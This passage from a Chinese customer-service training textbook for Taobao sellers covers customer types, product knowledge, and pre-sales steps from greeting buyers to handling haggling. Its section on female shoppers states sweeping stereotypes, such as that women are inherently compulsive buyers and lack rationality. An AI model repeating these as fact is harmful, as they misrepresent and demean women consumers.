          俗话说见啥人,说啥话,这句听来略显贬义的话在销售领域可是相当“受用”的。客服要善于把握顾客的特点,总结顾客的需求,并且适时地将顾客进行分类,针对不同类型的顾客进行个性化服务,这不仅能够提高工作效率,还能迅速把握顾客的需求,给顾客留下专业化的归象。下面我们给常见顾客做一下分类,如图1-10所示。
        image.png

        图1-10 顾客的分类

          (1)经济型顾客
          经济型顾客的特点是希望投入较少的时间和金钱,注意力多在价格方面。经济型顾客在购买商品时会将价格作为首要考虑的因素,其次再去考虑商品的美观性、质量等因素。
          (2)个性化顾客
          个性化顾客有明确购买意向,也很清楚什么样的商品适合自己,更多追求的是自身的购物满足感。个性化顾客的自我意识很强,他们对品牌、款式、质量、价格和售后等都有一定的要求。
          (3)便利型顾客
          便利型顾客大多都追求网购的方便性,以快速方便为主要购买目的,注重购买的时间或效率。这类顾客多以男性为主,在购买商品的时候讲究“快”,那么客服如何去区分这类顾客呢?
          3.3类顾客的区别
          (1)经济型顾客
          1)聊天关键字搜索
          当顾客通过阿里旺旺和客服进行沟通的时候,客服要注意顾客反复强调的一些信息,例如优惠、打折、活动、清仓、优惠券等关键词,注重这类词语的顾客大多属于经济型顾客,热衷购买划算的商品,所以当店铺有优惠活动、礼品发送的信息时,客服要主动将这些信息传递给顾客。
          2)留意购买渠道
          很多淘宝卖家为了促进销量,增加店铺点击率,大都会不定时参加淘宝的一些优惠活动。客服可以通过顾客的购买渠道来分析顾客的类型,从而对顾客进行分类,一旦再遇上优惠活动,就可以第一时间通知他们,利用价格的优势搭配进行销售。淘宝上常见的一些优惠渠道有聚划算、天天特价、免费试用及一元秒杀等,这些活动针对的就是经济型顾客。
          (2)个性化顾客
          如何区分个性化顾客呢?
          客服区分这种类型的客服并不困难,首先要擅于观察他们咨询的方式,这类顾客的聊天关键字并不局限于价格,会从多个角度进行选择,有很明确的购买目的;其次是客服要将话语权更多地转交给顾客,倾听他们的购买意向,适时地进行推荐和建议,增加和顾客的互动性。
          总之,个性化顾客会将重点更多地放在品牌、质量和外观这三个方面。
          (3)便利型顾客
          客服在遇到便利型顾客时,要迅速掌握顾客所需要的商品特征,将适合顾客需求的产品罗列出来,让顾客挑选。当顾客犹豫不决时,客服应主动为顾客提出建议,以店铺的成交量和产品的好评率肯定所推荐的产品效果和质量,让顾客对产品树立信心,并一针见血地做出售后服务的承诺,让顾客放心、安心进行购买,促使商品迅速成交。
          4.顾客的心理分析
          一个好的客服一定是一位成功的顾客心理学分析师。众所周知,客服每天的工作接待量是很大的,面对的顾客也是多样的,成功的客服擅于从大量顾客的购买咨询中提炼总结出经验性的准则,而顾客心理的分析就是这其中的关键,了解你的顾客,才能更好地进行销售。消费群体是指具有消费行为且具有一种或多种相同的特性或关系的群体。
          下面我们以女性消费群体为例来进行分析,如图1-11所示。

        image.png


        图1-11 女性消费群体分析

          据统计,女性消费群体占整个互联网消费群体的56%左右,其庞大的人数、巨大的购买数量让卖家们不得不将其作为关注的重点。女性消费者的观念和性格特点深深地影响着她们的消费行为,女性对当前及未来消费市场发展趋势的影响日益凸现,“她时代”“她经济”“女性消费主义”等词汇也应运而生。下面我们先来分析一下女性消费群体固有的购买心理,如图1-12所示。
        image.png

        图1-12 女性购买心理分析

          (1)女性的价值观的改变
          随着女性独立意识的增强,女性消费群体的经济消费能力逐渐增强,不再被弱势的经济地位所束缚。尤其是20~30岁的年轻女性网上购物的比例很大,她们追求潮流和时尚,对服装的更新换代有独特的“触觉”,购物的“自我意识”特别强烈,能够独立支配金钱,将其花费在自己喜欢的物品上。
          (2)女性的天生购买欲
          有人说每个女人的衣柜里总会少一件衣服,鞋柜里总会少一双鞋子,即便是衣柜都堆不下了,还是会继续购买,这也许就是女性与生俱来的购买欲望。对商品的“喜新厌旧”心理成为女性购买欲爆发的导火索,潮流与时尚是不断更新的,并且广告、电视剧中也在不断刺激女性视觉,使得女性在购买商品时也会紧跟潮流,于是她们就有了源源不断的购买欲望。
          (3)女性的攀比心理
          女性消费的攀比心理是指一些女性消费者在购物时会刻意选择价格较为昂贵、款式较为新颖的商品,希望有一种自己比别人富有或者有地位的心理。女性购物时相对缺乏理性,易受他人左右,购买意识和消费方式很容易在女性消费者之间互相传播、互相影响,所以我们常常会看见一个女性穿了一条好看的裙子,过一段时间她周围的许多女性朋友都会购买类似的款式,这都是女性的攀比心理导致的消费。
          (4)追求愉悦感的购物体验
          有位女性消费者曾说“我不是在商场,就是在通往商场的路上”,这句话充分说明了女性对于逛街购物的热情,而这种购物带来的愉悦感也充分体现在了网络购物中。女性朋友们乐于畅谈购物的喜悦,一旦在网上发现了心仪的“宝贝”,可能会第一时间与朋友进行分享,甚至会和几个朋友一起购买,形成“团购”,而这种购物体验会带给她们无限的欢乐,增加了购物环节的喜悦感。

        1.1.4 客服的流行语言风格

          电商客服是一个非常有趣的工作岗位。下面介绍几种流行语言体,分别是蜜糖体、咆哮体、红楼梦体、甄嬛体、承诺体、惆怅体,如图1-13至图1-18所示。
          下面逐一从每种语言体的特点、适用范围等方面进行介绍。
        image.png

        图1-13 蜜糖体

        image.png

        图1-14 咆哮体

        image.png

        图1-15 红楼梦体

        image.png

        图1-16 甄嬛体

        image.png

        图1-17 承诺体

        image.png

        图1-18 惆怅体

        1.1.5 系统且专业的商品知识

          由于网购的特殊性,顾客在网上购买商品时看不到实物,只能通过页面浏览或通过与在线客服沟通来获取商品的相关信息。客服要做商品的专家、商品的全知者,因此对客服而言,对商品知识的掌握非常重要,这样才能准确地向顾客推荐产品,做好关联销售和解决顾客遇到的各类问题,如商品使用、保养、维修等。
          我们先来了解一下什么是商品知识,如图1-19所示。
          所谓商品知识,指产品的几个大的知识分类,包括规格型号、尺码、功效、材质面料、保养维护、搭配商品、风格潮流和特性特点等。
        image.png

        图1-19 商品知识涵盖的分类

          1.规格型号
          指商品的物理性状,包括体积、长度、重量等,如箱子、水杯的容量,食品、黄金/白银的重量及布料、绳子的长短等,如图1-20所示。
        image.png

        图1-20 规格型号

          2.按重量
          单位克、千克(公斤),一般用于散装食品、茶叶等固体商品,如1千克糖果、20千克大米、100克茶叶,如图1-21所示。
        image.png

        图1-21 按重量划分

          3.按容量
          单位毫升、升,用于表示产品的容积大小,一般用于储物箱、液体饮料、护肤品和香水等商品。例如,1升橄榄油、200毫升化妆水、50毫升香水,如图1-22所示。
        image.png

        图1-22 按容量划分

          4.按长度
          单位厘米、米,一般用于布料、线的销售以长度进行计算,长度越长,价格越贵,如图1-23所示。
        image.png

        图1-23 按长度划分

          (1)尺码大小
          按大小不同的商品大类对大小有不同的描述,国际码是在服装市场较为常见的一种衣服尺码划分标准,按照衣服的大小分为XS、S,M、L、XL,依次代表加小号、小号、中号、大号和加大号,如图1-24所示。
        image.png

        图1-24 尺码大小

          由于网络购物最大的弊端就是顾客无法实实在在地接触到商品实物,在选购商品大小时没有具象的概念,给顾客造成了很大的困扰。客服需要掌握不同商品的不同大小尺码的划分,帮助顾客迅速掌握商品的大致尺码,方便顾客选择合适的尺码。
          客服根据顾客的身高、体重,以及肩宽、袖长、三围的大小,并结合顾客日常穿着习惯,为顾客进行推荐和建议,如图1-25和图1-26所示。
        image.png

        图1-25 衣服的尺码

        image.png

        图1-26 尺码的测量

          (2)鞋码
          鞋的单位是码,女鞋常见的尺码为35码至37码,男鞋常见的尺码为40码至42码。国际鞋码是基于脚的长度,以毫米为单位对鞋码进行划分,例如220、225、230、235;欧洲码如35、36、36.5、37,如图1-27所示。
        image.png

        图1-27 鞋码

          (3)手寸
          手寸是戒指尺寸大小,以戒指的内圈直径和内圈圆周为依据对戒指号码进行划分。手寸的范围是8~28号,客服可以参考图1-28所示的戒指尺寸对照表,并且要考虑到顾客佩戴时的舒适度。
        image.png

        图1-28 戒指手寸

          5.材质面料
          材质面料包括成分、配比和特性等。例如,羊绒衫的材质成分配比是:羊绒35%,羊毛55.2%,抗起球纤维9.8%,产品的面料是体现产品特征的主体材料,包括棉、麻、丝绸、呢绒和皮革等。这些面料体现了产品的质感和舒适度,客服需要掌握这些面料的特点,多角度引导客户购买产品。例如,运动鞋的橡胶鞋底材质可以防滑耐磨,具有良好的韧性和弹性,可以在行走时有效减震。
          6.保养维护
          对于产品的保养维护方法,客服人员应该在顾客购买产品时,向顾客做出一定的阐述与说明,以确保顾客在日后对产品进行合理的保养维护,延长产品的使用寿命。在宝贝详情页面都会有一些关于产品维护保养的提示内容,例如羽绒被的使用方法,初次使用时需要轻拍几下,让羽绒蓬松;清洁方式需要干洗;禁止水洗;保养时需要定期在阳光下晾晒2至3小时,切勿暴晒;收藏时要放在干燥通风的地方,防止受潮。因此客服需要熟知产品的保养与维护方法,并且在交易的过程中能主动给顾客提示,如图1-29所示。
        image.png

        图1-29 保养维护

        7.搭配商品
          是指客服按照产品的色彩、款式、功效和长短等原则,用周边产品去包装、烘托主题,让顾客的舒适度、满意度和使用效果达到最佳水平。简单地说,就是对商品进行搭配推荐,如购买裤子,推荐皮带的搭配;购买手机推荐手机壳的搭配,从而提升产品的最佳效果。搭配产品是对客服审美能力和对产品熟悉度的综合考验,也是关联销售的必要储备,如图1-30所示。
        image.png

        图1-30 服装搭配

          如果颜色搭配或产品的款式搭配都十分吸引顾客,即使一件单看十分普通的衣服,在经过适当的搭配后就会让产品焕然一新,甚至会刺激顾客的购买欲望,让顾客关注所搭配的整套产品,提升客服的客单价。
          8.风格潮流
          风格潮流是指款式和颜色等流行元素,如亮片包包、经典菱格图案等。经营网店需要与流行时尚相关,紧跟当下时尚前沿的步伐。多元化的造型设计,个性化的风格潮流,我们以服装行业为例,服装的搭配有很多风格,顾客的风格也是各有差异的,如英伦风、韩系女装、嘻哈风、小清新等搭配风格当前十分抢眼,客服要擅于把握顾客的风格,定位服装的整体搭配效果,将最合适的搭配推荐给顾客。
          9.特性特点
          特性特点是指与同类商品相比较的优势,如衣服纯棉质地,吸汗透气;绿色产品安全无添加;定制版、限量版等,这些产品所具有的新意和特色可以让顾客动心,如图1-31所示。
        image.png

        图1-31 商品特性特点

          作业:根据商品手册模板,如图1-32所示,制作商品手册。
          作用:有助于熟悉商品和方便日后查找商品。
          制作方法:制作商品手册时应先根据商品特点列出类目,一般包括编号、图片、品名、品牌、货号、款式、尺码、尺寸、颜色、面料、数量和售价等类目,然后根据实际情况逐个填写。
        image.png

        图1-32 商品手册模版

        1.2 售 前 客 服

          通过前面第一节的学习,大家已经了解了客服工作的基本要求,从本节开始我们要学习售前客服工作的销售技能。
          所谓售前客服,就是在正式成交之前为买家提供相关服务的客服。如图1-33所示为售前客服工作流程图。
        image.png

        图1-33 售前客服工作流程图

          下面,我们将对售前客服的部分环节进行重点介绍。

        1.2.1 迎接问好

          大家都知道,我们客服人员的主要工作就是接待买家,在与买家的沟通中,获取买家的要求,从而进行精准推荐,最终促成订单的成交。售前客服接待的一般流程是:“迎接问好”→“疑问解答”→“产品推荐”→“促成订单”→“订单确认”→“正面评价引导”→“礼貌告别”,总共7个环节。
          在整个流程中,迎接问好是第一个环节,也是比较重要的环节。迎,就是迎接买家,良好的第一印象是成功沟通的基础,无论是售前还是售后服务,迎的失败,都会直接影响结果。可能有人会觉得,迎接问好就是简单地打招呼而已,非常容易做到,其实不然,在网络销售中,迎接问好有很大的学问。首次问好若是得当,将会决定本次交易可以顺利进行;反之,首次问好反应过慢或者出现差错,则会造成买家心理反感,最终导致买家离开。
          我们先来设定一个情景,当你满怀欣喜来到朋友家登门拜访时,出现了以下情景(见图1-34),你会怎么想呢?假定你确定此时朋友在家。第一种情况,朋友迅速开门,立即笑脸相迎,我们肯定会觉得这是待客之道,朋友很欢迎我;第二种情况,朋友慢腾腾地半天才慢悠悠地开门,我们就会有疑虑自己是否存在叨扰之嫌,是不是朋友不欢迎我呢?第三种情况,如果朋友长时间没有开门的话,我们也许会转身离开,不再上门了,会觉得这个人不是朋友。通过这个情景模拟,相信大家可以体会到态度给对方带来的影响,纵然是朋友,心态也会发生变化,何况是在虚拟环境下互不相识的买家呢!
        image.png

        图1-34 迎接问好

          从如图1-35所示的案例1中可以非常明显地看出,买家有一个长达8分钟的等待时间,由于在线客服人员出现了短暂的“空岗”,最终导致买家另选了其他店铺。可能大家会有疑问:为什么进行网络交易的买家会显得这么急躁呢?
        image.png

        图1-35 案例1

          其实大家可以想一想,网络交易的优势不仅仅在于价格的优惠性,服务的快速、便捷性也是促使买家选择网络交易的主要原因。例如案例2(见图1-36),这样的情况在日常工作中并非很难实现,只要大家拥有积极、热情、乐观的心态,相信在以后的接待中,买家跳失率将会日渐减少。
        image.png

        图1-36 案例2

          当在线客服人员在极短的时间内给予买家快速、积极地迎接问好,同时做出正面的答复时,我们将看到完全不一样的局面,买家是非常愿意留下来与其进行沟通的,这样就可以放慢买家“奔走”的脚步,留住买家,甚至达成交易。
          所以,在迎客的时候,一定要快速地回复买家的咨询问题,首次响应的时间在6秒内最佳,我们称之为“黄金6秒钟”。
          这就印证了“时间就是金钱”这句老话,而且首次千牛的响应速度,对搜索权重也有很大影响。如果因为首次响应速度过慢导致买家的跳失,无论买家的来源是否付出了推广的成本,对于任何一个网店来说,都将会是很大的损失。
          随着网店一步一步的成长,买家的咨询量也会逐渐加大,那么如何才能做到令买家满意的快速回复呢?这个是值得思考的问题。很多网店的客服人员都会想到利用自动回复来缓解首次响应的紧张感,这不失为一种好的方法,但是自动回复的设置需要注意几个问题:第一,字体设置不要太大,建议使用10号字,过大或过小的字体在聊天框中的呈现效果不是很好;第二,字体的颜色不要太花哨,选择黑色或者显眼的颜色为好,尤其是一段话中不要出现两种以上的颜色,否则会影响买家的体验感;第三,文字不要太多,尽量精炼,用有限的字数表达更多的信息;第四,自动回复的语言尽量自然温和,切忌太生硬,不要让买家感觉是在和机器人对话。
          除了自动回复以外,客服人员也可以设置快捷回复,以便加快后续的反馈速度。也可以把买家经常问的相关问题编辑在一起,避免因为买家的反复询问而增加客服的工作量。以下是常用的快捷回复短语,客服人员也可以根据店铺的具体情况,灵活地设置方便自己使用的快捷短语,如图1-37所示。

        image.png

        图1-37 常用快捷回复

          同时,对买家的称呼也可以个性化一些。比如,目前淘宝店铺一般称呼买家为“亲”,但是有些女装店铺会称呼买家为“公主”“女王殿下”等,母婴店则会称呼买家为“宝妈”“辣妈”等,不一样的称呼会带给买家不一样的感受,同时也能加深买家对店铺及客服人员的印象,增强购物体验。
          在问好的阶段,我们还要强调一下二次问候的重要性。买家很有可能同时咨询很多店家,或者因为工作忙而中断了聊天,这时我们在线客服不能坐以待毙,而要主动进行二次问候的跟进工作。二次问候不是简单的“你是谁”“在不在”这样的话语,而应该是起到友情提醒和引导的作用,让买家再次和我们沟通,也可以准备一些易于买家回答的常见问题,这类问题买家一般都比较愿意回答,回答的过程就是沟通桥梁的再次搭建过程。
          比如母婴店的客服人员,可以在沟通陷入僵局时,询问对方宝宝的年龄或性别,买家回答之后,我们可以马上针对这个年龄段孩子的特点和需求进行引导,给予妈妈不同的赞美,以达到良好的沟通氛围。
          往往看似简单的事情,也是常常被忽略的细节,这些被忽略的点点滴滴交织在一起,就会成为大问题。如果可以理解到这一点,那么服务的第一步就从这里改善。战争还未开始,胜负已经揭晓,接好迎接问好的第一招吧!

        1.2.2 疑问解答

          销售接待中的第二个环节——疑问解答。
          无论是实体销售还是网络销售,买家都会对产品及服务提出一些自己的疑问。在实体购物中,促销员可以与买家面对面进行语言交流,直接对实物进行演示、讲解等,而在网络购物中,在线客服人员只能通过文字的表述来解答买家的疑问。
          成功的在线客服人员会对买家做到“有问必答”,在解答买家疑问的同时,会存在一定的引导成分,也能在买家提出的疑问中,倾听出买家内心存在的其他想法。
          如图1-38所示,从案例中我们可以看到,买家进行了两次提问,第一次是针对物流的时效问题进行提问的,第二次是针对产品的规格进行提问的。作为在线客服人员,我们可以把这两个问题看做是买家的正常询问,但是如果深入一些,我们就可以听到买家内心的声音:一是急需使用这个产品,二是买家对大规格包装有需求。通过这两点,我们就可以得到两个解决方案:如果买家真的着急使用本产品,我们是否可以更换掉默认的快递方式,而选择速度更快的快递呢?买家对大规格包装有需求,可实际情况是我们并不能满足买家的这个需求,那么如何让买家愿意选择现有的规格包装呢?我们可以看到,案例中的客服人员选择了从用量、保质期以及新鲜程度上来消除买家的疑虑,不禁让我们眼前一亮。
        image.png

        图1-38 案例3

          通过这个案例,我们可以试想一下,如果在解答的过程中,只是单纯、机械地回答买家的疑问,不能感受到买家的潜在需求,那么这个买家很有可能会选择别的店家,单子就会这样白白流失了。
          在日常工作中,仅仅做到“有问必答”是远远不够的,有数据统计显示,在答问比高达200%的情况下,交易成功的几率还是不尽人意。为什么会出现这样的情况呢?“有问必答”固然很重要,但是更重要的是回答的精准程度。然而多数在线客服人员为了节省时间图方便,经常会复制整段的话术或者频繁发送快捷短语,这就刚好犯了大忌。
          我们来举个例子,例如在买裤子时,买家说出了自己的身高、体重,询问应该选择哪个尺码合适时,正常情况下,只需要推荐适合买家所需要的尺码即可,而不是直接发送给买家一个尺码表,让买家自己选择。这种操作方式会导致一大批买家无从下手,首先买家并不是产品专家,对未见到实物的图片也无法做出正确的选择和判断,更多的时候还需要依赖在线客服人员的专业引导,因此,简明、精准的解答,更利于买家的选择,加速后续的成交。
          很多情况下,店铺现有的产品属性会跟买家的需求有些出入,这不能说明我们就可以忽略此类买家,与其苦苦等待核心买家上门,倒不如主动出击,抓住每个潜在的买家。
          如图1-39所示,从案例4中可以看到,买家所需求的产品出现了零库存,此时,在线客服人员并没有寻找属性相同或者功能相似的产品进行推荐,而是直接做出了否定的回答,这种处理方式显然是不提倡的。如果在线客服人员可以推荐其他花色的爬行垫,主动挽留买家,相信买家不会走得那么干脆。当然,同样的问题还可能出现在产品的材质、尺码、颜色、质量等问题上,如何利用现有产品的特点来抓住潜在买家,将是优秀客服人员的必备技能。
        image.png

        图1-39 案例4

          由于网络购物的虚拟性,看不到实物,会有部分买家利用评价中的一些负面评价对在线客服人员进行质疑,想通过在线客服人员的解答来确定评价内容的真与假,变相了解产品的真面目。遇到此类问题时,在线客服人员不需要对问题含糊其词,而应该有理有据地向买家进行正面的说明,这样比较容易消除买家的疑虑;如果对问题避而不谈,买家在主观意识中就会无限放大此问题并且很有可能会加入自己的猜想,原本不是问题的问题,就会成为绝对的大问题,最终导致店铺痛失订单,非常不值。
          每一位买家在下单、付款之后,都想在最短的时间内收到产品,这时候存在一个供需双方都不可控的因素,那就是物流。其实,在多数情况下,买家还是会体谅店铺及在线客服的难处的,会选择接受目前店铺能够提供的物流服务。
          如图1-40所示,在案例5中,买家想要更换快递,甚至提出可以加钱,但是在线客服却在沟通中直接表明,不接受任何的信息备注和留言,无法接受者,请勿拍等字眼。我们暂且不说这样的做法是否妥当,首先看到这样的一行字,相信很多买家都有一种受到不平等待遇的感觉,大大降低了交易的愉悦感。其实对于这种情况,我们完全可以换个角度来进行说明,如果能够和买家说清楚店铺所选物流公司的优点,比如取货快、运输放心、不会丢件等,即使没办法让买家自行选择,相信买家的心理感受会更舒服一些,也会愿意接受这样的结果。
        image.png

        图1-40 案例5

          物流的选择还算是在店铺的可控范围之内,但是物流的时效,就是店铺自身所无法控制的情况了。那么导致物流时效过慢的原因有哪些呢?我们大致分为三点:第一,物流公司的物流网络不发达,导致线路规划不合理,比如从上海到天津的包裹,一定要先从上海到北京进行分拣,然后再发往天津。对于这样的情况,在线客服人员需要有预见性,可以提前跟买家进行沟通;第二,分拣错误,导致包裹运输到了另一个城市,然后又退回来重新转运,这也可能导致包裹运输的速度过慢;第三,天气等其他不可抗的因素。由此可见,物流本身的影响因素就比较多变,所以在线客服人员在解答买家疑问时,千万不要把话说得太绝对,最好能把一些可预见的结果提前告知买家,始终记住一条原则:“站在买家的角度,为自己说话”。
          俗话说,成也客服,败也客服,而对客服来说,成也沟通,败也沟通。提升沟通技巧,正确传达店铺的服务理念,展现在线客服人员的专业水准,是客服的最终目标。

        1.2.3 产品推荐

          销售接待中的第三个环节——产品推荐。
          在顺利完成产品的答疑之后,在线客服人员会进入一个新的工作流程,那就是产品推荐。可能有人会问,只要按照买家提出的疑问进行解答就可以了,为什么还要对产品进行推荐呢?这是因为,通过产品推荐可以帮助买家快速锁定所需产品,提高服务效率,促进成交,也可以利用关联销售,关联更多买家所需的产品,提高客单价。产品推荐的流程比较复杂,必须具备“了解需求”和“销售技巧”两种技能才可以顺利完成。
          首先,我们来进行一个情景模拟,如图1-41所示。请大家来选一选自己希望成为哪类在线客服?为什么?客服A,始终无法获取到买家的需求,以至于推荐总是失败,放弃推荐;客服B,偶尔能够获取到买家的需求,过程比较艰难,推荐的结果也是不尽人意,被迫坚持推荐;客服C,有技巧地获取到买家的需求,能够掌握销售的技巧,最终成功推荐。结果应该很明显,大家都希望成为客服C,在与买家的沟通中,真正领悟到买家的需求,成为善于推荐的优秀客服。
        image.png

        图1-41 情景模拟

          既然大家已经知道了问题的根源所在,下面我们就从了解需求开始入手。大家一定要明白,了解需求并不是等待买家自己明确告知,因为在交易过程中,有时买家不愿意说出自己的需求或者是需求不明确。针对这样的情况,处理方式应该是有技巧地“提问”。提问的方法有很多种,经常使用的有两种方法,一种是开放型提问,一种是封闭型提问。
          什么是开放型提问呢?我们来举个例子。比如“你喜欢哪种产品?”,像这样没有选择答案的提问方式,就是开放型提问。这种提问比较简单,但是存在弊端,买家一般不愿轻易表达出自己的真实想法,这样提问会导致买家出现戒备和反感的心理。
          什么是封闭型提问呢?我们同样来举一个例子。比如说“A和B,你更喜欢哪一个?”,像这种有选择答案的提问方式就是封闭型提问,这种提问比较有针对性,买家易于选择,能够大大缩短整体的沟通时间,提升推荐成功的几率。
          另外,在线客服人员在与买家聊天的过程中,也可以通过千牛、足迹等聊天软件,收集买家的信息,获取买家的一些潜在需求,更好地帮助自己完成交易。当然,在这个过程中,客服人员应该已经进行了简单的产品推荐,而此时并不能保证推荐结果完全可以得到买家的认可,所以就需要在线客服人员乘胜追击,继续明确买家的需求,获取到买家的最终需求,这样才能大大增加交易成功的几率。
          想要做好有效推荐,销售技巧是非常重要的,这就需要客服人员全面地掌握和明确产品的特点、自身的优势和买家的利益三方面的内容。
          如何做到对产品的基本信息了如指掌呢?我们不得不强调产品手册的重要性,如1-42所示。
        image.png

        图1-42 产品基本信息

          不过需要注意的是,客服人员一般是根据自己的想法或者个人爱好来制作产品手册的,所以挖掘和罗列的重点有很大的不同。在实际销售过程中,买家不会按照产品手册的思维逻辑进行沟通和了解的,因此,客服人员需要针对买家的沟通模式,对产品手册中的相关内容及时地进行调整,对买家感兴趣的部分优先进行说明,能够对工作中的每个环节进行预设,这将会增加工作中成功的几率。
          说到自身优势,我们在与竞争产品进行比较时,要遵守“人无我有,人有我优”的原则。当与同类产品进行比较时,切记不要打击和诋毁竞争对手,充分利用“人无我有”的原则,强调、突出自己的产品优势;当与同款产品进行比较时,在突出产品特点的同时,充分利用“人有我优”的原则,强调店铺的其他优势,比如更快的物流运输,更好的售后服务保障等,以此来提升买家的信任度。
          以上的销售技巧是站在客服的角度来阐述的。但是在交易过程中,最关键的一方还是买家,那么在线客服就不能只从店铺的一个角度来思考问题,也要站在买家的角度去思考,买家的感受和决定才是交易成功的关键。让买家真正感受到客服人员推荐的产品实实在在可以给自己带来好处,这点往往可以直接打动买家。因此,在线客服人员需要重视“利益”的合理运用,它将成为产品推荐过程中的一个重要神器。
          有效推荐可以促进店铺的转化,但是想要更好地提升客单价,提高店铺的营业额,关联销售是必不可少的一步。关联销售也叫连带销售,在交易双方互利、互益的基础上,将店铺中与买家所购买的有关联性的产品同时销售给买家,实现多件产品同时售出的目的。其中,最常用也是最直接的关联销售的表现方式就是搭配套餐,如图1-43所示。
        image.png

        图1-43 关联销售

          如果店铺中没有搭配套餐这一类活动的话,应该如何进行关联销售呢?通常情况下,客服人员可以根据买家所要购买的产品,在店铺中寻找与之具有关联性的产品来进行组合推荐,我们也称之为现有搭配推荐;也可以针对买家的需求,进行热卖产品的推荐、数据效果推荐等,这些都可以灵活地运用到关联销售中。
          想要成为一名优秀的客服人员,提升店铺的转化率,提高店铺的营业额,将是核心的考核方式。想要通过考核,一定要抓住产品推荐这个利器。大家加油吧。

        1.2.4 促成订单、订单确认

          促成订单和订单确认是销售接待中的两个环节。
          前面经过了“漫长”的接待和产品的推荐过程,看似“火候”已够,实际上则是“万事俱备,只欠东风”,这股东风便是售前最终的临门一脚——促成订单。在促成订单的过程中,在线客服往往会遇到买家进行议价、索取赠品、产品真伪辨识等情况,其中,产品的品质、售后保障及物流等方面的问题是在前期采购、运营过程中就已经确定和设立完成的,无法进行更改,仅仅需要在线客服快速、有效、巧妙地给予买家正确回答即可。相比较而言,议价的环节显得更为复杂,不易处理,也是很多在线客服人员感觉有难度的地方,如图1-44所示。
          可能有人会问,店铺出售的产品价格基本上都是确定的,还有买家会进行议价吗?答案是肯定的。议价已经成为了交易过程中必不可少的环节。这里我们将买家分为两类:一类是担心吃亏的,一类是爱占便宜的,如图1-45所示。

        image.png


        图1-44 促成订单

        image.png


        图1-45 买家议价分类

          第一类买家,他们的议价行为只是单纯性的试探,随口一问,能够便宜更好,不能便宜也罢,也有的买家是在享受议价过程带来的快感;第二类买家,他们的确是属于那种不想按店铺设定好的价格支付而又想买到此产品的人。针对不同的买家,在线客服需要在与买家的沟通过程中及时作出明确的判断,以便利用有效的方法进行应对。如果买家提出的要求不过分,同时也在客服人员的权限处理范围内,那么完全可以满足买家的要求;反之,如果买家的要求比较苛刻,超越了客服人员的权限范围,这时应该怎么应对呢?
          首先,我们来说一说心理价位的问题。大部分买家在购买产品之前,在心里已经有了一个基本的价位,当产品的预设价格高于心理价位过多时,就会激起买家开启议价模式。我们来举个例子,例如一款产品标价99元,而买家的心理价位是88元,中间相差11元,不是买家真的无法承受这11元的消费,而是这个价位与买家心理预期不符,买家会潜在地认为物非所值。对于心理价位来说,无非有两种情况,一是心理预期与实际价格相差不大,二是心理预期与实际价格相差较大。不管哪种结果,客服人员都应该冷静面对,不能被买家“牵着鼻子走”。如果是心理预期与实际价格相差不大的情况,可以利用赠送礼品、发放优惠券等方式进行变相的降价,满足买家心理的预期值。当然,这需要循序渐进地进行,不要一次性把所有的优惠全盘托出,让买家明白并非所有的买家都可以享受这样的优待,力求买家满意的同时,尽量降低店铺的运营成本。如果是心理预期与实际价格相差较大的情况,在线客服需要对产品的差异化进行更多的阐述,可以从产品的材质、工艺、功效和功能等方面强调产品的性价比,转移买家对价格的关注焦点,如图1-46所示。
        image.png

        图1-46 买家心理价位

          买家有时候为了讲价钱,也会使出浑身解数,下面让我们来看一看买家在议价过程中常用的小伎俩。比如卡上钱不够了、承诺推荐朋友来买、老买家身份、不给优惠就去其他店铺等情况。针对不同的场景,我们需要选择不同的应对方案,见图1-47。第一种情况,买家声称卡上余额不足时,我们并不能对其真实性进行验证,所以可以提出暂时保留本产品,等待买家充值之后再进行购买,也可以建议买家寻求朋友帮忙进行代付,或者可以推荐使用“花呗”进行付款。
          第二种情况,买家可能会承诺只要给够优惠后,会推荐亲友来购买。遇到这种情况,我们不要急于表现出是否可以接受这样的推荐,而是先要表明我们的态度,明确告知买家,店铺的产品价格优惠、质量过硬,因此会员数量很多,并感谢买家做出的承诺,同时也建议买家先加入店铺的会员群。第三种情况,对于老买家来说,我们可以介绍一些会员专属产品或者会员专属活动等,以此来答谢老买家对店铺的支持。第四种情况,这类买家看起来比较强势,扬言不给优惠就去其他店铺,我们同样要冷静对待,坚守店铺产品价格的同时,可以利用权限范围内的赠品和优惠券等形式来吸引买家。
        image.png

        图1-47 议价小伎俩

          总结一下,一个优秀的在线客服在议价的处理过程中,会善于运用焦点转移法,转移买家对价格的过分关注,也善于运用价格拆分法,将产品总价拆分为每年、每月甚至每天的价格,来降低买家购买的心理压力。当然,也可以运用关联销售进行有条件的让步,让买家达到店铺规定的某种条件,来得到自己想要的优惠,这不失为一种完美的议价处理方式。
          到这里,可能有人会问,议价完成了,这回总可以成交了吧?事实并非如此。买家除了对价格有要求外,对产品的品质及店铺的服务要求也是不可忽略的。很多情况下,店铺的详情页中会展示出产品真伪的对比图,以及产品的授权书等信息,但是这些信息很容易被买家所忽略。为了消除买家对产品的疑虑,客服人员应该引导买家对这些相关信息进行查阅,以便消除买家对产品品质的疑虑。当然,完善的售后服务机制,也是对产品品质最有利的保障。利用这些保障服务,可以增加买家对店铺的信任感,加速订单的转化。比如,退货承诺、免费换新和破损补寄等。
          订单完成之后,售前客服人员并非可以做甩手掌柜,万事大吉了。为了体现销售过程中全面、周到的服务,避免出现不必要的售后问题,此时,在线客服人员需要对每一笔付款订单进行订单的确认工作。订单确认的目的有两个,一是减少错误率,二是减少售后纠纷。可能有一些客服人员在这一步仅仅核对了买家的地址,这还远远不够,除了确认地址之外,还需要确认的订单内容有:第一,购买的产品信息是否正确,包括数量、款式、型号等;第二,确认收货人、收货地址及收货电话是否正确;第三,确认快递是否能够送达;第四,确认买家的备注信息是否正确。可以看出,只要在服务中多一份细心和耐心,便可以大大减少一些不必要的售后问题,所以,客服人员在工作中,一定不要贪图一时方便而漏掉了工作中的细小环节,给自己日后的工作带来麻烦。
          回顾前期的销售环节,可以看出售前部分已经接近尾声了,通过各个环节的考验,只要客服人员本着热情、专业、细心、耐心的服务原则,“搞定”买家可谓是易如反掌。

        1.2.5 引导评价、礼貌告别

          销售接待的最后两个环节是评价引导和礼貌告别。
